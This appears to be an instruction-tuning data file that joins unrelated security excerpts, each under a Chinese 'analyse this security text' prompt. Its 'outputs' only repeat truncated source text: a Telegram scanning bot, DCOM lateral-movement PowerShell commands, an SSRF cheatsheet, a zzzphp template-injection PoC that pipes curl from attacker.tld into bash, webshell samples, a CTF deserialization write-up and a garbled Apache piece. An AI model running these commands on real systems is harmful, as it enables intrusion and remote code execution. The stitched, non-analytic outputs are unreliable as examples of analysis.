好的 我们弄出来最基本的东西了 我们现在可以通过 TG 发消息来调用 python 了
举个例子 我们来弄一个目录爆破
Pathscan
Bot 是用来发文件的 在上文
这个里面我用了 ffuf 来扫 因为快 然后保存到 test.json 里 用 sendDocument 去发文件
这里面我们输入的命令是/pathscan 通过上面的 add_handler 绑定的那个哦
我的一些正则 瞎 jb 写的
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import re
import requests
import os
from ESD import EnumSubDomain
import nmap
import socket
from telegram import Update,Bot
from telegram.ext import Updater, CommandHandler, MessageHandler, Filters, CallbackContext
bot=Bot("your token")
def parseDomain(info):
domain= re.findall('https?://(?:[-\w.]|(?:%[\da-fA-F]{2}))+', info)
return domain[0]
def parseInfo(info):
#取 URL
url =
re.findall('http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+',info)
return url[0]
def parseIP(info):
ip = re.findall("(?:[0-9]{1,3}\.){3}[0-9]{1,3}$",info)
domain = re.findall(r'(?:[a-zA-Z0-9](?:[a-zA-Z0-9\-]{,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,6}', info)
if ip :
return ip[0]
elif domain
:
new_ip = socket.gethostbyname(domain[0])
return new_ip
def parseRootDomain(info):
rootdomain=re.search("([a-zA-Z0-9][-a-zA-Z0-9]{0,62}(\.[a-zA-Z0-9][-a-zA-Z0-9]{0,62}))",info)
return rootdomain[0]
def start(update: Update, context: CallbackContext) -> None:
update.message.reply_text("好兄弟 给我发个 URL 让我扫描吧")
update.message.reply_text(update.message.text)
def pathscan(update: Update, context: CallbackContext) -> None:
global bot
update.message.reply_text(parseDomain(update.message.text)+"扫描中好兄弟请不要着
急")
domain=parseDomain(update.message.text)
os.system("ffuf -w /root/dict/...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

T1175: Lateral Movement via DCOM
查看mitre ATT&CK 的描述，已经不推荐使用该技术，推荐使用Remote Services: Distributed
Component Object Model和Inter-Process Communication: Component Object Model。
参考：
The Component Object Model
LATERAL MOVEMENT USING EXCEL.APPLICATION AND DCOM
域渗透——利用DCOM在远程系统执行程序
组件对象模型
什么是DCOM（ Distributed Component Object Model ，分布式组件模型）,先说下COM
（Component Object Model ，组件对象模型）。
COM component（COM组件）是微软公司为了计算机工业的软件生产更加符合人类的行为方式
开发的一种新的软件开发技术。——百科
The Microsoft Component Object Model (COM) is a platform-independent, distributed,
object-oriented system for creating binary software components that can interact. COM is
the foundation technology for Microsoft's OLE (compound documents), ActiveX (Internet-
enabled components), as well as others.——MSDN
简要的描述下COM：
COM 不是一种面向对象的语言，而是一种标准，和编程语言或OS无关。
COM对语言的唯一要求：代码在能够创造指针结构的语言中生成，并且能够通过指针显式或隐式
的调用函数。
COM 主要的两个内容：对象和接口
每个对象和接口都关联一个128位的GUID（全局唯一标识符），称为类CLSID（类标识符），用于
标识唯一的COM对象。
COM 类在操作系统中注册的，位于注册表中：
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID
DCOM是什么？ RPC+COM == DCOM ,DCOM允许COM组件利用网络来传输数据。
笔者这里只是简单里描述关键概念，Microsoft 为了实现跨机器、跨语言、跨平台、跨进程，
COM的内容非常之复杂。
对DCOM有了一个了解，下面的测试过程可以概括为：利用DCOM 远程调用COM组件执行命令
Execution
MMC20.Application COM class 存储在注册表中：
和目标建立连接：
通过DCOM对象在受害者系统上执行命令：
仅演示，既然能执行cmd，就能执行其他命令，反弹shell，存活探测等等。
不要局限演示，例如在Cobalt Strike   beacon 中执行命令等等。
Get-ChildItem 'registry::HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{49B2791A-B1AE-
4C90-9B8E-E860BA07F889}'
$a =
[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.
1","192.168.3.142"))
$a.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c hostname >
c:\Hostname.txt","7")
Observations
先看下整个执行命令过程发生的日志：
使用ProcessMonitor 查看下进程详情：
mmc.exe 的父进程是 svchost.exe ,在TCP/IP 菜单中可以查看到 PC-jerry-0day 向 OWA2010SP3 建立的
连接。
使用ProcessMonitor 查看 "mmc.exe"启动过程中的调用 stack（堆栈），调用了 rpcrt4.dll :
小结
使用DCOM横向的方法还有很多，文章的原作者写了几篇关于DCOM 横向的，有机会在学习吧，可能
我们用的最多的是 impacket 中的dcomexec ,原理上有所不同，具体哪里不同，笔者也说不上来（如果
有知道的师傅请指教），唯一注意的点，需要管理权限。
参考
View::ExecuteShellCommand method
LATERAL MOVEMENT USING...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

SSRF bible. Cheatsheet
If you have any questions, please post them in the comments!
Revision 1.02
6 august 2014
Authors:
@ONsec_Lab
http://lab.onsec.ru [ENG]
@Wallarm research team
blog.wallarm.com
1
Table of contents
Table of contents
Basics
Typical attack steps
File Descriptors exploitation way
URL schema support
Protocols SSRF smuggling
Smuggling examples
Apache webserver HTTP parser
Nginx webserver HTTP parser
Vulnerabilities
Basics
Examples
Google Docs
ZeroNights hackquest challenge
Exploitation tricks
Bypassing restrictions
Input validation
Unsafe redirect
DNS pinning
PHP fsockopen() url parsing tricks
Network restrictions
Protocol fingerprinting
Examples
HTTP
Memcached
Retrieving data
Examples
HTTP response encapsulation into XML formatted response
2
Console cURL wildcards URL responses concatenation
SMBRelay exploitation
Original request data sniffing
Examples
Memcached
Exploits
PHPFPM
Syslog
Exploits
Zabbix agentd
Exploits
Postgres
Exploits
MongoDB
CouchDB
Exploits
FFmpeg
References
Tools
Researches
3
Basics
SSRF  Server Side Request Forgery attacks. The ability to create requests from the vulnerable server to intra/internet. Using
a protocol supported by available URI schemas, you can communicate with services running on other protocols. Here we collect the
various options and examples (exploits) of such interaction. See for introduction related researches.
Typical attack steps
1.
Scan internal network to determine internal infrastructure which you may access
2.
Collect opened ports at localhost and other internal hosts which you want (basically by timebased determination)
3.
Determine services/daemons on ports using wiki or daemons banners (if you may watch output)
4.
Determine type of you SSRF combination:
○
Direct socket access (such as this example)
○
Sockets client (such as java URI, cURL, LWP, others)
5.
In case of direct socket access determine CRLF and other inje...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Evading next-gen AV using A.I.
Hyrum Anderson
hyrum@endgame.com
@drhyrum
/in/hyrumanderson
The Promise of Machine Learning
• Learn from data what constitutes malicious
content or behavior
• Discriminatory patterns learned automatically,
not obviously constructed by hand
• Generalize to never-before-seen samples and
variants…
•
…so long as data used for “training” is representative of
deployment conditions
•
motivated adversaries actively trying to invalidate this
assumption
x1
rule malware {
strings:
$reg = “\\CurrentVersion\\Internet Settings”
condition:
filesize < 203K and #reg > 3  }
Goal: Can You Break Machine Learning?
§
Static machine learning model trained on millions of samples
x1
Machine Learning
Model
score=0.75
(malicious, moderate confidence)
•
Simple structural changes that don’t change behavior
Machine(Learning(
Model
score=0.49
(benign, just barely)
•
unpack
•
‘.text’ -> ‘.foo’ (remains valid entry point)
•
create ‘.text’ and populate with ‘.text from calc.exe’
Adversarial Examples
• Machine learning models have blind spots / hallucinate (modeling error)
• Depending on model and level of access, they can be straightforward to exploit
•
e.g., deep learning is fully differentiable
(directly query what perturbation would best bypass model)
• Adversarial examples can generalize across models / model types (Goodfellow 2015)
•
blind spots in YOUR model may also be blind spots in MY model
(scaled(for(visibility)
image(credit:(http://www.popsci.com/byzantine-science-deceiving-artificial-intelligence
Taxonomy of Attacks Against ML
• …can get a score
•
black box…
•
…but can arbitrarily probe
and get a score
•
score = raw output /
confidence before
thresholding for good/bad
• …has your model
•
architecture & weights are
known
•
a direct attack on your
model
•
“easy” for deep learning
•
gradient perturbation
•
dueling models / GAN
• …can get good/bad
•
black box…
•
…but can arbitrarily probe
and get a label
•
label = malicious / benign
•
also a v...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

POC分析：
分析POC可得到以下信息：
1. 漏洞点由Cookie触发，Cookie值为 keys
2. Payload像是一个if标签，猜测可能为模板注入
3. 请求参数为 ?location=search，猜测可能是个路由
漏洞分析
复现环境为：zzzphp v2.0.3
从 /index.php 找起，跟踪到 inc/zzz_client.php 。搜索 location  关键字。接着找到这么一段代
码：
查看模板文件 /template/pc/cn2016/html/search.html  。发现了Poc中的 keys
curl -b 'keys={if:=`curl http://attacker.tld/poc.sh|bash`}{end if}'
'http://target.tld/?location=search'
1
//只要get传递了location，getlocation()就返回$_GET['location']
$location=getlocation();
switch ($location) {
    ......
    case 'search':
        //设置路径
        //TPL_DIR = /template/pc/cn2016/html
        $tplfile= TPL_DIR . 'search.html';
        break;
    ......
 }
.....
//对$tplfile进行file_get_contents()
//$zcontent为模板内容
$zcontent = load_file($tplfile,$location);
$parser = new ParserTemplate();
//解析模板
$zcontent = $parser->parserCommom($zcontent);
echo $zcontent;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
......
<title>关键词【{zzz:keys}】搜索结果-{zzz:sitetitle}</title>
......
1
2
3
跟进 parserCommom() 方法，该方法会进行标签解析。不过在这个漏洞中，仅需关注
parserlocation()  和 parserIfLabel() 即可。可以注意下 parserIfLabel()  的调用在
parserlocation()  之后，这个调用顺序是该漏洞的成因之一 ：
首先分析 parserlocation() 方法，该方法又调用了 parserSearch() 方法，关键代码如下：
public function parserCommom( $zcontent ) {
    $zcontent = $this->parserSiteLabel( $zcontent ); // 站点标签
    $zcontent = $this->ParseInTemplate( $zcontent ); // 模板标签
    $zcontent = $this->parserConfigLabel( $zcontent ); //配置表情
    $zcontent = $this->parserSiteLabel( $zcontent ); // 站点标签
    $zcontent = $this->parserNavLabel( $zcontent ); // 导航标签
    $zcontent = $this->parserCompanyLabel( $zcontent ); // 公司标签
    $zcontent = $this->parserUser( $zcontent ); //会员信息
    //parserlocation()
    $zcontent = $this->parserlocation( $zcontent ); // 站点标签
    $zcontent = $this->parserLoopLabel( $zcontent ); // 循环标签
    $zcontent = $this->parserContentLoop( $zcontent ); // 指定内容
    $zcontent = $this->parserbrandloop( $zcontent );
    $zcontent = $this->parserGbookList( $zcontent );
    $zconte...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Urban Exploration
          - A Hacker’s View
phreakmonkey (K.C.)
mutantMandias (Mandias)
phreakmonkey.com
Background:
What is Urban Exploration?
Urban Exploration is the practice of discovering, exploring,
and often photographing the more “off-beat” areas of
human civilization.
“This hobby consists of a lot more than just poking about in
abandoned buildings and storm drains and hanging out on
web boards trying to impress people. Being an urban
explorer is a whole way of looking at the world, where every
ladder, door, window, grate and hole in the ground is a
possible portal to adventure.”
- Jeff Chapman (“Ninjalicious”), 2004
What do we explore?
Civil Buildings:
Hospitals, Schools, Institutions
Industrial Buildings:
Factories, Transportation
Utilities & Infrastructure:
Steam Tunnels, Storm Drains, Utility Corridors
Residential
Hotels, High-rises, Houses (“Shanties”)
The UrbEx Subculture
Jeff Chapman (“Ninjalicious”) coined “Urban
Exploration” & operated the zine “Infiltration”
from 1996 – 2005.
Several web communities have sprung up over
the last ten years.
UER.CA (mostly USA)
DegGi5.com (NE USA)
28dayslater.co.uk  (UK)
Others...
Explorers vs. Tourists vs. Scenesters
Birds of a Feather
What Urban Explorers and Computer Hackers have in common
Perspective
"Behind-the-scenes" view of the word
Ability to look at things abstractly
Willing to use non-standard entry points
Secrecy
Built around a subculture with counterculture tendencies
Distrusting of newbies
Hesitant to allow outsiders in
Script Kiddies and Tourists
Gray Area Activities
Do you use your powers for good or for awesome?
Sense of "moral superiority" while engaging in legally
questionable behavior
Birds of a Feather
What Urban Explorers and Computer Hackers have in common
Frighteningly similar lack of fashion sense.
Black t-shirts are the shiznit, yo!
Social Engineering
Incredibly effective in UrbEx and Hacking
Higher stakes (walking away vs. county lock-up)
Exploitation by others
Taggers vs....


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

浅谈 PHP WebShell 的检测与防御
最近腾讯举办的⼀个webshell挑战赛，简单玩了⼀下，发现⼀些绕过的思路对于很多检测产品
都是通⽤的。说明这些产品在遇到的⼀些共性的检测难点上都没有⼀个很好的解决⽅案，以下
简单分析⼀下webshell检测的原理和困境以及⼀些绕过的思路。
正则识别
pass
ssdeep
通过模糊哈希匹配已知样本，可以允许⼀定范围内的修改，原理是分⽚分别计算哈希，连接后
得到字符串，⽐较时计算两个字符串的加权编辑距离，评估样本的相似度。加权编辑距离指⼀
个字符串最少经过多少次操作(增加、删除、修改、交换)得到另⼀个字符串，不同的操作对应
不同的权值，结果相加。
ssdeep只能针对已知样本⽽且没有⼤范围修改的情况，⽽且当样本量增加时⽐较操作的计算
量也会随之增加。ssdeep在恶意软件检测中有⽐较多的应⽤，但是针对webshell局限性⽐较
明显，⽤途有限。
静态分析
基本相当于⽩盒扫描，静态分析主要流程⼀般为词法分析、语法分析、污点分析。
词法分析(Lexical Analysis)
词法分析将字符序列转换为记号（token）序列的过程。词法只识别语素，不关⼼⼏号之间的
关系(⽐如括号是否匹配)。
直观的例⼦就是语法⾼亮，每⼀个不同颜⾊的⾊块就是⼀个token。php本身提供了⼀个
token_get_all 和 PhpToken::tokenize ⽅法将php源码转换成token数组。
⼀个demo程序
解析出的token流
<?php
$cmd = $_GET["cmd"];
$f = $_GET['f'];
if ($f == "eval") {
    exit("denied");
}
$f($cmd);
T_OPEN_TAG: '<?php\n'
T_WHITESPACE: '\n'
T_VARIABLE: '$cmd'
T_WHITESPACE: ' '
CHARACTOR =
T_WHITESPACE: ' '
T_VARIABLE: '$_GET'
CHARACTOR [
T_CONSTANT_ENCAPSED_STRING: '"cmd"'
CHARACTOR ]
CHARACTOR ;
T_WHITESPACE: '\n\n'
T_VARIABLE: '$f'
T_WHITESPACE: ' '
CHARACTOR =
T_WHITESPACE: ' '
T_VARIABLE: '$_GET'
CHARACTOR [
T_CONSTANT_ENCAPSED_STRING: ''f''
CHARACTOR ]
CHARACTOR ;
T_WHITESPACE: '\n\n
//....
语法分析(Parsing)
语法分析是以词法分析结果(token 流)为输⼊，进⾏语法检查，分析语法结构，构建中间语⾔
的过程。⼀般来说中间语⾔有多种不同的表达形式。⽐如抽象语法树、三地址码、静态单赋值
形式。
抽象语法树
抽象语法树⼀般是语法分析的第⼀步中间结果，他的每个节点代表⼀个运算符，该节点的⼦节
点代表这个运算符的运算分量
** ⼯具： **可以使⽤PHP-Parser将php代码转为AST，从php 7开始本身内部也会⽣成AST，
可以使⽤php-ast扩展将内部的AST导出。
<?php
$cmd = $_GET["cmd"];
$f = $_GET['f'];
if ($f == "eval") {
    exit("denied");
}
$f($cmd);
静态单赋值形式(Static Single-assignment Form) 与控制流图（Control Flow
Graph）
AST虽然⽐较直观，但是并不适合直接⽤来进⾏污染传播分析，⼀般还需要转成静态单赋值形
式的控制流图。静态单赋值也是⼀种编译过程的中间语⾔，他的特点是每个变量都只被赋值⼀
次。控制流图是由基本块和有向边组成的图，每个基本块内部都是顺序的执⾏语句，有向边表
示节点直接的控制流路径。例如下⾯的例⼦。
⽣成的CFG如下：
<?php
$cmd = $_GET["cmd"];
$f = $_GET['f'];
if ($f == "eval") {
    $cmd = "exit('denied')";
}
$f($cmd);
** ⼯具： **可以使⽤php-cfg项⽬将php代码⽣成SSA形式的CFG。此外可以使⽤vld项⽬将
php内部的opcode导出，不过opcode不是SSA形式的，需要⾃⼰做⼀个简单的转化。
静态分析的缺陷
因为php动态弱类型的特性，灵活度极⾼，单纯静态分析漏报的可能性很⾼，最简单的例⼦⽐
如
静态分析⽆法获取 $a 的内容，所以不能判断第三⾏具体执⾏了哪个函数...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Research
Demystifying Kernel Exploitation by
Abusing GDI Objects
Saif El-Sherei
saif@sensepost.com
!
Demystifying Kernel Exploitation by
Abusing GDI Objects 2017-07-18!
!
! !
!
pg.!2!
!
Introduction
In this paper, we will discuss integer overflows that lead to Kernel Pool memory corruption. We will
go through discovery, triggering, and exploiting the identified issues, by abusing two GDI objects, the
bitmap and palette objects. The concepts presented in this paper represent how I understood and
tackled them, they might not be very scientific in that sense.
Standing on the Shoulders of Giants
•
Nicolas Economou Economonu and Diego Juarez Juarez Abusing GDI for ring 0:
https://www.coresecurity.com/blog/abusing-gdi-for-ring0-exploit-primitives
•
360 Vulcan:  https://cansecwest.com/slides/2017/CSW2017_PengQiu-
ShefangZhong_win32k_dark_composition.pdf
•
K33n team: https://www.slideshare.net/PeterHlavaty/windows-kernel-exploitation-this-time-
font-hunt-you-down-in-4-bytes
•
J00ru, Halvar Flake, Tarjei Mandt, Halsten, Alex Ionescu, Nikita Terankov and many others.
The Setup
•
IDA Pro.
•
Zynamics BinDiff.
•
VirtualKD (much love).
•
WinDbg
•
GDIObjDump WinDbg Extension
•
VmWare Worksation:
-
Windows 8.1 x64.
-
Windows 7 SP1 x86.
!
Demystifying Kernel Exploitation by
Abusing GDI Objects 2017-07-18!
!
! !
!
pg.!3!
!
WinDbg Pool Analysis Tips
!poolused
This command can be used to view the pool usage of a certain Pool tag or for a certain Pool type.
!poolfind
This command is used to find all locations of allocated objects of the specified Pool tag.
!
Demystifying Kernel Exploitation by
Abusing GDI Objects 2017-07-18!
!
! !
!
pg.!4!
!
!pool
This command is used to view the Pool page where the specified address is located in.
!
Demystifying Kernel Exploitation by
Abusing GDI Objects 2017-07-18!
!
! !
!
pg.!5!
!
Kernel Pool
Kernel Pool Types
The kernel Pool is a sort of Heap memory that is used by the kernel, and it has many type...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1
OWASP 代码审计指南
V2.0 中文版
注：本指南版权归 OWASP Foundation 所有。由刘传兴、孙维康翻译，仅供业内人士学习参考。
2
目 录
1 介绍 ......................................................................................................................................................... 10
1.1 前言 ................................................................................................................................................ 10
1.2 介绍 ................................................................................................................................................ 11
1.2.1 主要内容 ............................................................................................................................... 11
1.3 如何使用本文档 .......................................................................................................................... 11
2 相关技术和方法 .................................................................................................................................. 13
2.1 代码安全审计 .............................................................................................................................. 13
2.1.1 代码审计技术参考 ............................................................................................................. 13
2.1.2 为什么代码有漏洞？ ........................................................................................................ 14
2.1.3 什么是代码安全审计？ ................................................................................................... 16
2.1.4 代码审计和代码安全审计的区别是什么？ ............................................................... 17
2.1.5 确定安全源代码审计的规模？ ...................................................................................... 17
2.1.6 我们无法保证自己的安全 ............................................................................................... 20
2.1.7 耦合源代码审计和渗透测试 .......................................................................................... 22
2.1.8 代码审计对开发实践的潜在优势 ........................................


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

User Privacy for ISPs and Accidental ISPs
For latest version, please see http://www.eff.org/
User Privacy for ISPs and Accidental ISPs.
The Digital Millennium Copyright Act gives people who claim to own copyrights
tremendous power to invade the privacy of Internet users.  With only a clerk’s stamp on a
form, almost anyone can demand that an Internet service provider reveal its users’
personal information – if the ISP has that information.  If you’re served with a subpoena,
as the RIAA showed Verizon in court, you don’t get to choose whether or not to respond.
This means your data is at the mercy of not just record companies seeking out music
swappers, but also private detectives, spammers, and cranks of all kinds who might
demand users’ names and addresses.1  Whether you’re a big ISP or dorm-room sysadmin,
you can preserve your users’ privacy best by not keeping any logs containing that
information or connecting them to online activity in the first place – you can’t be made to
disclose information you don’t have.
If you are not in business as an ISP,  but are providing network connectivity – for
example, offering wired or wireless access to library patrons, visitors at a café, or friends
and neighbors in a residence – you may still be the target of one of these information
demands. But as a non-commercial ISP, you’ve probably got no good reason to keep this
info in the first place.  In fact, you may want to become an “accidental ISP” in order to
provide some additional privacy for people downstream from your router.  Changing the
way that you keep records and connect your users in simple ways can help you limit the
legal hassles you’ll face as a non-commercial ISP.
Computers are uniquely identified on their networks by IP address.2   To protect privacy,
network administrators can opt to assign pools of IP addresses dynamically, rotating a
fixed number of addresses randomly among a group of users, then delete assignment logs
promptly to protect the privacy of users. ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

The Ether Wars: Exploits,
counter-exploits and
honeypots on Ethereum
AUGUST 11, 2019
ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum
2
About ConsenSys Diligence and MythX
• We audit smart contracts and build security tools for smart
contract developers
• Other who contributed to / influenced this talk:
○ Joran Honig, Nikhil Parasaram, Nathan Peercy (Mythril Core Team)
○ Sam Sun (shared his bot research)
○ Many other researchers
○ The awesome Ethereum security community
ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum
In this Talk
•Fast symbolic execution of EVM bytecode
•Exploit automation
•Exploiting script kiddies
•Exploiting those who try to exploit script kiddies
ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum
4
• Distributed state machine
What is Ethereum?
ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum
5
• Small programs written in a simple, stack-based language
• Immutable: Once deployed they can’t be changed
• Executing instructions costs gas
• Computation in a single transaction is bounded by the block gas limit
• However, state can be mutated over multiple transactions
EVM Smart Contracts
ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum
6
Symbolic Execution (1)
grantSurvival == True
grantSurvival == False
JUMPI
STOP
SELFDEST
RUCT
CALLDATA
LOAD
ISZERO
ISZERO
CALLDATA
LOAD
ISZERO
ISZERO
JUMPI
[]
[0x1]
[0x0]
[0x1]
[]
[]
[0x0]
[0x1]
[0x0]
[]
ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum
7
Symbolic Execution (2)
Symbolic Calldata
JUMPI
STOP
SELFDEST
RUCT
CALLDATA
LOAD
ISZERO
ISZERO
[]
[sym_calldata]
[bool(sym_calldata == 0)]
[bool(sym_calldata == 0) == 0)]
bool(sym_calldata == 0) == 0) == True
bool(sym_calldata == 0) == 0) == False
ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honey...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

访问地址直接给出了源码: http://101.32.205.189
<?php
class ip {
    public $ip;
    public function waf($info){
    }
    public function __construct() {
        if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
            $this->ip = $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']);
        }else{
            $this->ip =$_SERVER["REMOTE_ADDR"];
        }
    }
    public function __toString(){
        $con=mysqli_connect("localhost","root","********","n1ctf_websign");
        $sqlquery=sprintf("INSERT
into
n1ip(`ip`,`time`)
VALUES
('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
        if(!mysqli_query($con,$sqlquery)){
            return mysqli_error($con);
        }else{
            return "your ip looks ok!";
        }
        mysqli_close($con);
    }
}
class flag {
    public $ip;
    public $check;
    public function __construct($ip) {
        $this->ip = $ip;
    }
    public function getflag(){
if(md5($this->check)===md5("key****************")){
readfile('/flag');
}
        return $this->ip;
    }
    public function __wakeup(){
        if(stristr($this->ip, "n1ctf")!==False)
            $this->ip = "welcome to n1ctf2020";
        else
            $this->ip = "noip";
    }
    public function __destruct() {
        echo $this->getflag();
    }
}
if(isset($_GET['input'])){
    $input = $_GET['input'];
unserialize($input);
}
粗略一看，源码里 unserialize($input)的大字告诉我们是需要控制传入 input 参数的
反序列化数据来进行一些条件的满足从而来获得 flag
    public function getflag(){
if(md5($this->check)===md5("key****************")){
readfile('/flag');
}
        return $this->ip;
    }
最终达成的目的很明显就是运行 flag 类里的 getflag()方法，通过 readfile 来获得
flag
文
件
，
而
想
要
运
行
此
方
法
就
要
满
足
条
件
md5($this->check)===md5("key****************")，并且 key 我们是不知道的，看起
来也没有办法控制，可以控制的话还可以通过传入数组让两边 md5 函数来返回 null 来
进行条件满足，所以我们需要知道这个 key 的值
    public function __toString(){
        $con=mysqli_connect("localhost","root","********","n1ctf_websign");
        $sqlquery=sprintf("I...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Searching for the Light:
Adventures w/ OpticSpy
Joe Grand (@joegrand)
Hacker, Engineer, Daddy
OpticSpy
! Optical receiver to convert light into voltage
! Wavelength:  Visible and near IR light (420-940nm)
! Signal speed: 100Hz-1.5MHz
! Data stream polarity: Select normal v. inverted
! Gain and threshold adjustment via potentiometers
! USB interface for direct connection to host PC
Covert Channels
! Hidden methods to intentionally exfiltrate/transfer
data from a normally functioning system
! Could be achieved with HW and/or FW
modification
! Specifications modified or misdesigned before
manufacturing
! On physical device during manufacturing or in-
the-field
! Hardware implant via interdiction
Exploiting the Environment
! Leakage based on optical, acoustic, thermal, or RF
characteristics of a system
! Soft Tempest: Hidden Data Transmission Using
Electromagnetic Emanations (Kuhn, Anderson)
! Emanate Like a Boss: Generalized Covert Data
Exfiltration with Funtenna (Cui)
! Inaudible Sound as a Covert Channel in Mobile
Devices (Deshotels)
! BitWhisper: Covert Signaling Channel between
Air-Gapped Computers using Thermal
Manipulations (Guri et al.)
Blinkenlights
! Using LEDs to exfiltrate/send data
! Modulation faster than the human eye can detect
! Optical covert channels
! Information Leakage from Optical Emanations
(Loughry and Umphress, 2002)
! Silence on the Wire: A Field Guide to Passive
Reconnaissance and Indirect Attacks (Zalewski)
! Extended Functionality Attacks on IoT Devices:
The Case of Smart Lights (Ronen, Shamir)
! xLED: Covert Data Exfiltration from Air-Gapped
Networks via Router LEDs (Guri et al.)
A Selection of Optical History
! Alexander Graham Bell's Photophone (1880)
! Fiber optic communications (~1963)
! Laser tag (~1979)
! Optical networking systems (VLC, Li-Fi, FSO) (2011)
Related Projects
! Heathkit Laser Trainer/Receiver (1985)
! Engineer’s Mini Notebook: Optoelectronics Circuits
(Forest Mims III, 1985)
! IRis...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

.NET Framework Rootkits – Backdoors Inside Your Framework
1
.NET Framework Rootkits:
Backdoors inside your
Framework
March, 2009 (Revised)
Erez Metula
ErezMetula@2bsecure.co.il
ErezMetula@gmail.com
 .NET Framework Rootkits – Backdoors Inside Your Framework
2
Table of content
TABLE OF CONTENT .........................................................................................................................2
ABSTRACT ............................................................................................................................................3
INTRODUCTION..................................................................................................................................4
HOW CAN THE FRAMEWORK BE CHANGED?..........................................................................................4
MODIFYING THE FRAMEWORK CORE .......................................................................................6
OVERVIEW - STEPS & TOOLS FOR CHANGING THE FRAMEWORK...........................................................6
LOCATE THE DLL IN THE GAC ............................................................................................................6
ANALYZE THE DLL..............................................................................................................................7
DECOMPILE THE DLL USING ILDASM ...................................................................................................9
MODIFYING THE MSIL CODE .............................................................................................................10
RECOMPILE THE DLL USING ILASM....................................................................................................11
BYPASSING THE GAC STRONG NAME MODEL....................................................................................11
REVERTING BACK FROM NGEN NATIVE DLL................................................................................


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

apache proxy⸺
0x00
apacheoverviewhttps://t.zsxq.com/ubm2rVf
p
apachhttps://t.zsxq.com/rBmaU7a
hookhttps://www.anquanke.com/post/id/257539
0x01
p
vscodec/c++ubuntuapache
hook
[root@centos httpd-2.2.23-worker]# export SHOW_HOOKS=1
[root@centos httpd-2.2.23-worker]# ./bin/httpd -k start
Registering hooks for core.c
Hooked create_connection
Hooked pre_connection
Hooked post_config
Hooked translate_name
Hooked map_to_storage
Hooked open_logs
Hooked child_init
Hooked handler
……
httpdhook
mod_infohook
http://httpd.apache.org/docs/2.2/mod/mod_info.html
httpd.conf
LoadModule info_module modules/mod_info.so
<Location /server-info>
      SetHandler server-info
      Deny from all
      Allow from all
 </Location>
 http://host/server-info
0x02
mod_proxy.c33933450
AP_DECLARE_MODULE
proxy
APR_HOOK_STRUCT
"namespace"_hook_"hookname"hook
proxy_hook_scheme_handler
proxy_hook_canon_handler
proxy_hook_pre_request
proxy_hook_post_request
proxy_hook_request_status
proxy_hook_check_trans
proxy_run_*proxy_hook_get_*
ap_hook_scheme_handlerhookproxy.cmod_proxy_http.c
proxyhookproxy_hook_scheme_handlerproxy_hook_canon_handler
APR_IMPLEMENT
run_firstrun_allrun_first
apacheok
run_allfirstOKDECLINED
proxy_hook_scheme_handlerproxy_hook_canon_handlerrun_first.
0x03
ap_hook_handler


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

From LNK to RCE
Finding bugs in Windows Shell Link Parser
Lays
Who am I - Lays
• Senior Researcher at TeamT5
• Focus on Reverse Engineering / Vulnerability Research
• MSRC Most Valuable Security Researcher 2019 / 2020
• Acknowledged by Microsoft / Samsung / NETGEAR / Synology …
• HITCON / 217 CTF Team
• Co-Founder of Pwnable.tw
Agenda
• Motivation
• Windows LNK File Format
• Fuzzing the Parser
• Case Study
• Reversing the Undocumented Logic
• Case Study
• Conclusion
Motivation
Motivation
• While studying for master’s degree
• I created a Fuzzer for Windows
• Based on WinAFL + Static Binary Instrumentation
• High Performance Coverage-Guided Fuzzing without source code
• I need some Real-World Targets!
Finding Fuzzing Targets
• Complex Binary Format
• Which is (Win)AFL good at
• Better to be remote triggerable
Finding Fuzzing Targets
• Complex Binary Format
• Which is (Win)AFL good at
• Better to be remote triggerable
Windows LNK File
• Also known as Shortcut
• Windows Shell Link
• What you See is What you Parsed … and get you Pwned
• Removable Drives
• Remote Share
• Sounds cool, let’s fuzz this
DEMO - LNK DoS
Windows LNK Format
LNK is “ REALLY ” Complicated
• On Linux / macOS…
• It’s really hard to remember the order…
(A) ln -s <src> <dst>
(B) ln -s <dst> <src>
LNK is “ REALLY ” Complicated
• But on Windows…
• It’s harder
SHELL_LINK = SHELL_LINK_HEADER
[LINKTARGET_IDLIST]
[LINKINFO]
[STRING_DATA]
*EXTRA_DATA
Windows Shell Link File Format
ShellLinkHeader
LinkTargetIDList
LinkInfo
StringData
ExtraData
HeaderSize
LinkCLSID
LinkFlags
FileAttributes
CreationTime
AccessTime
WriteTime
FileSizes
IconIndex
ShowCommand
HotKey
HasLinkTargetIDList
HasLinkInfo
HasName
